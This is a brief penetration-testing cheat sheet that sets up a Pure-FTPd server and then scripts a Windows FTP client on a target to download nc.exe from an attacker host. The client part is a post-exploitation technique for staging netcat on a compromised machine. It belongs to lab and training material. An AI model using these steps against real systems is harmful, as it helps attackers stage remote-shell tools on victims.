Pure-FTPd
Pure-FTPd is a free FTP Server with a strong focus on software security. It can be compiled and run on a variety of Unix-like computer operating systems including Linux, OpenBSD, NetBSD, FreeBSD, DragonFly BSD, Solaris, Tru64, Darwin, Irix and HP-UX. It has also been ported to Android.
-- Wikipedia

Server

1
apt-get install pure-ftpd
Copied!

Create user

1
#!/bin/bash
2
groupadd ftpgroup
3
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
4
pure-pw useradd offsec -u ftpuser -d /ftphome
5
pure-pw mkdb
6
cd /etc/pure-ftpd/auth/
7
ln -s ../conf/PureDB 60pdb
8
mkdir -p /ftphome
9
chown -R ftpuser:ftpgroup /ftphome/
10
/etc/init.d/pure-ftpd restart
Copied!

Client

1
echo open 10.11.0.5 21> ftp.txt
2
echo USER offsec>> ftp.txt
3
echo ftp>> ftp.txt
4
echo bin >> ftp.txt
5
echo GET nc.exe >> ftp.txt
6
echo bye >> ftp.txt
7
ftp -v -n -s:ftp.txt
Copied!
Copy link
Edit on GitHub